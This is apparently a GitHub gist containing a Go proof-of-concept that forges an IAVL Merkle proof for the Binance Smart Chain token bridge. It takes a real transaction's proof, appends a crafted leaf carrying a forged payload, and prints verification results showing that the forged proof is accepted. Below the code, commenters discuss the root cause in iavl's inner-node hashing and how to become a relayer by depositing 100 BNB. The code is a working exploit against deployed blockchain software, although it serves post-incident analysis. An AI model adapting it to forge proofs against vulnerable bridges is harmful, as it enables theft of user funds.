-
-
Save samczsun/8635f49fac0ec66a5a61080835cae3db to your computer and use it in GitHub Desktop.
package main | |
import "fmt" | |
import "encoding/hex" | |
import "github.com/tendermint/tendermint/crypto/merkle" | |
import "github.com/tendermint/iavl" | |
import "github.com/tendermint/tendermint/crypto/tmhash" | |
import "strings" | |
func mustDecode(str string) []byte { | |
if strings.HasPrefix(str, "0x") { | |
str = str[2:] | |
} | |
b, err := hex.DecodeString(str) | |
if err != nil { | |
panic(err) | |
} | |
return b | |
} | |
func getValueOp(legitProofBytes []byte) iavl.IAVLValueOp { | |
var legitProof merkle.Proof | |
if err := legitProof.Unmarshal(legitProofBytes); err != nil { | |
panic(err) | |
} | |
legitValueOpIntf, err := iavl.IAVLValueOpDecoder(legitProof.Ops[0]) | |
if err != nil { | |
panic(err) | |
} | |
return legitValueOpIntf.(iavl.IAVLValueOp) | |
} | |
func main() { | |
// https://bscscan.com/tx/0xe93f7c385e2510007f0b9319f001fed0fc1d718604fbab5c8afaa55fe0bfb624 | |
legitPayloadBytes := mustDecode("0x00000000000000000000000000000000000000000000000000000e35fa931a0000f86ea0424e42000000000000000000000000000000000000000000000000000000000094000000000000000000000000000000000000000088018fb570626fa400942218ffe5fd6215aefb988c5130b109047ef903cc943cf604378ded77537f02ed2d082a609a0235864b84633f540c") | |
legitProofBytes := mustDecode("0x0af8090a066961766c3a76120e00000100380200000000010dda4d1add09db090ad8090a2f081910978cb90818a6b892810122206a972442231cdcbd083f53f5b6e7d1364d01a7c3e39481a393663421d9d91e730a2f081810c5cdba0518a6b89281012220015e9258171954de124eadca473471c85a218d1b4f30ab6046123df79b143e100a2f081710c58dbb0218a6b89281012220653ec3905c6eea07cd6122664c235a5bbee741796e9beb0090b651f1881aa6af0a2e081610c58d7c18a6b8928101222010da239ec014e3708bb63394a6ac659bf0a5775e01fb061ba47489f5a70a1e590a2e081510c58d4c18a6b8928101222016d590ab6e451029d6e0fe2e414519bad0722c7960915b09709a8d79489e689f0a2e081410c58d1c18a6b892810122206e5d42435b893a6ef3d2c3226dc3d8fc6298b50765c14401717cce9d4779b1740a2e081310c58d1018a6b89281012220a66c4e211073542bdfbe41b7ffb3c97233e1328e08307585572572e2086a70660a2e081210c58d0a18a6b89281012220bbea65146adcbf69db8aa5d40ea78b2881bbe49a1550a7848a2a15c0bd8c72a10a2e081110c58d0418a6b89281012a20b209c6eae3c638eedee790ba4ac4ba1a28e6ee9e508c312890faf68203f6c8f40a2e081010cfb60218a6b892810122205ea9f3914db297bb2a2167c73b48d65ef750412881a41b26431b505e1b0807120a2e080f10cfb60118a6b892810122206edc69967bdccfa5341c641bd114685664731b6fbc1eb5ae0255e5668050ae1c0a2d080e10cf7618a6b89281012220245256c699761062ee26233725281d53bff60d087e638efb01d7cfc2ccc042f20a2d080d10cf3618a6b8928101222022ed28f7b77e2939b6de5947f76be014455ca91bb158fbeee88c8f6428b285120a2d080c10cf1618a6b8928101222092ead60656d3de32a46b5103aa914b786576f7be80c82dc769e2246dfe3b43ff0a2d080b10cf0e18a6b892810122200de250a575819ad357b89726d95ff6337f644ad81972f16d21171ad50c4621060a2d080a10cf0618a6b89281012220e170c2cf4413e475fdeff411c28e5cbfa50e6c642eaa5b95cad752e53ac2f89d0a2d080910cf0218a6b8928101222016622f912b4b40e830cfddbca2aacdcb03f29e012aa0841b09598247d0fe7fd30a2d080810cf0118a6b8928101222031aa9188c3bf0870796542b3291cf9c0b4264cb05a7206844cec6eab3ed4485d0a2c0807104f18a6b8928101222068c7d5d1a61de64b294a73c830779d3d140cd6d1812efd36b01f3616a210da7c0a2c0806102f18a6b892810122201bfed012d1294aedcdd46d4519d41e8b7903aec21fb50276d68df1c0f1eeaa810a2c0805101f18a6b892810122208b5140b3f84965769728c21dad7765685f15fbea97addd4a18e0e19fbfa812dc0a2c0804100f18a6b892810122206212ddc1731eb3c7275c22028461ca618adb69ca958b970ba70a69efcaf746f00a2c0803100718a6b8928101222027d509ed505ba5189c02e09a8cebbd8da88b0f9fb80bd493303e956396d5fa7d0a2c0802100318a6b892810122204ee30871caf373210ae36efc699cb4dd1c1517c5715f1f771cbcc3e1763cbb760a2c0801100218a6b8928101222086053a337c6c00c08b0150f4b04c25d46a545bfca4ffd23bcb9f4bab5620a9c41a380a0e00000100380200000000010dda4d1220c9702dc684f40f649086354efd81036405d65bd7973b33a49bd094ada8bea34118a6b89281010ac2060a0a6d756c746973746f726512036962631aae06ac060aa9060a0f0a0376616c12080a0608a9b89281010a100a046d61696e12080a0608a9b89281010a310a03616363122a0a2808a9b89281011220bebbffe66b498475751018685043f7f8af3748c11b474ae4bab1ed6f872a6afc0a390a0b61746f6d69635f73776170122a0a2808a9b89281011220c3c3e14f9855a19fbb7787ec7334e7d1e89515bc968bbd95a3c0757b73a0f8910a340a06706172616d73122a0a2808a9b8928101122023c2f8353abab04889611cf1df2db289c433739a0b862982eb101d6bceddf8f40a340a06746f6b656e73122a0a2808a9b892810112206c729e5786bc7e711151be2c8fae1da0e046dffdf63019c1b2cab9c393e005c70a180a0c7374616b655f72657761726412080a0608a9b89281010a340a06627269646765122a0a2808a9b892810112201696f48f0831247582113e127d54c8dfd5a83ce7d59f87b5dbc43d3289287f000a330a057374616b65122a0a2808a9b89281011220e125aa32d98388b262476bcb57bc67e5a561694c4b4ab7cdc276592a4c8102520a310a03696263122a0a2808a9b89281011220a430a90e5901412e8883d71166115a54bf31165d4300ca128d891f32bad715890a310a03646578122a0a2808a9b89281011220a83f009853645e8b594bdccff32ceaf235d7c17b0e3a9bfda9d24fb4b9e768da0a300a027363122a0a2808a9b89281011220e4adc46ac3861ca6ee345294c621d2bc048079dab94ee30333c4585e2cbe30890a370a0974696d655f6c6f636b122a0a2808a9b89281011220d73dee2cd461a123714cce39fa8f820706fa270dc290257d6295dd8c29a870500a310a03676f76122a0a2808a9b89281011220bc32151659d2d697d4258aacb0c2e7a5c6b3d3dda375c6c634fd58d61dedf4c00a360a08736c617368696e67122a0a2808a9b89281011220399a04243f1a0ad8f1b0487eb19aefe91a357446154ea2c59bee1143d4c17bbe0a340a066f7261636c65122a0a2808a9b89281011220bbabfac717aea0c30b0bc13da73e1a501450cdf5cd4a0b9feeb35b4b7c10242e0a330a057061697273122a0a2808a9b8928101122065a9c4ae2bba63d233c7fc28d81151880b0a4533df8cbed77660356ae0aa7c5b") | |
forgedPayloadBytes := mustDecode("0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100") | |
forgedValueHash := tmhash.Sum(forgedPayloadBytes) | |
legitValueOp := getValueOp(legitProofBytes) | |
forgedValueOp := getValueOp(legitProofBytes) | |
// we do a little forging | |
forgedLeafNode := getValueOp(legitProofBytes).Proof.Leaves[0] | |
forgedLeafNode.Key = append([]byte(nil), []byte(forgedValueOp.GetKey())...) | |
forgedLeafNode.Key[13] = 255 | |
forgedLeafNode.ValueHash = forgedValueHash | |
forgedValueOp.Proof.Leaves = append(forgedValueOp.Proof.Leaves, forgedLeafNode) | |
forgedValueOp.Proof.InnerNodes = append(forgedValueOp.Proof.InnerNodes, iavl.PathToLeaf{}) | |
forgedValueOp.Proof.LeftPath[len(forgedValueOp.Proof.LeftPath) - 1].Right = mustDecode("A038FCFB3DD5C419DF679CE76FDAB39D21149069D037C39034CEF55AFDB9631B") | |
rootHash := legitValueOp.Proof.ComputeRootHash() | |
verifyErr := legitValueOp.Proof.Verify(rootHash) | |
fmt.Printf("legitOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr) | |
rootHash = forgedValueOp.Proof.ComputeRootHash() | |
verifyErr = forgedValueOp.Proof.Verify(rootHash) | |
fmt.Printf("forgedOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr) | |
{ | |
verifyErr = legitValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes) | |
fmt.Printf("legit verifyErr=%v\n", verifyErr) | |
verifyErr = legitValueOp.Proof.VerifyItem(forgedLeafNode.Key, forgedPayloadBytes) | |
fmt.Printf("forged verifyErr=%v\n", verifyErr) | |
} | |
{ | |
verifyErr = forgedValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes) | |
fmt.Printf("legit verifyErr=%v\n", verifyErr) | |
verifyErr = forgedValueOp.Proof.VerifyItem(forgedLeafNode.Key, forgedPayloadBytes) | |
fmt.Printf("forged verifyErr=%v\n", verifyErr) | |
} | |
} |
But if this was the actual vector (and not the bug in multistore), then it'd be a critical vulnerability in Tendermint/Cosmos, right?
So this
(path, nleaf)
hash was incorrectly computed? I see that in theproofInnerNode.Hash
function, the value ofRight
is ignored ifLeft
is not empty, so you were able to change the path yet the(path, nleaf)
hash did not change. https://github.com/cosmos/iavl/blob/de0740903a67b624d887f9055d4c60175dcfa758/proof.go#L53
looks to still exist on master and latest release too https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof.go#L79 so i am curious on the ^^ also?
Yes, unfortunately as it turns out this wasn't a bug with BSC's usage of iavl but in iavl itself. Fortunately Cosmos uses ics23 so they're not affected
@samczsun Note that even if you can forge a leaf, the handlePackage method is whitelisted(onlyRelayer
), only a registered relayer can call that method. That means if it's hacked this way, it must have been done by some internal guy, right?
@zhiqiangxu, from what I can see, to be a relayer you "only" need to deposit 100 BNB, this transaction registers the address as a relayer albeit it's not the first one:
https://bscscan.com/tx/0xe1fe5fef26e93e6389910545099303e4fee774427d9e628d2aab80f1b53396d6
@zb3 thanks, good to know!
So this
(path, nleaf)
hash was incorrectly computed? I see that in theproofInnerNode.Hash
function, the value ofRight
is ignored ifLeft
is not empty, so you were able to change the path yet the(path, nleaf)
hash did not change.https://github.com/cosmos/iavl/blob/de0740903a67b624d887f9055d4c60175dcfa758/proof.go#L53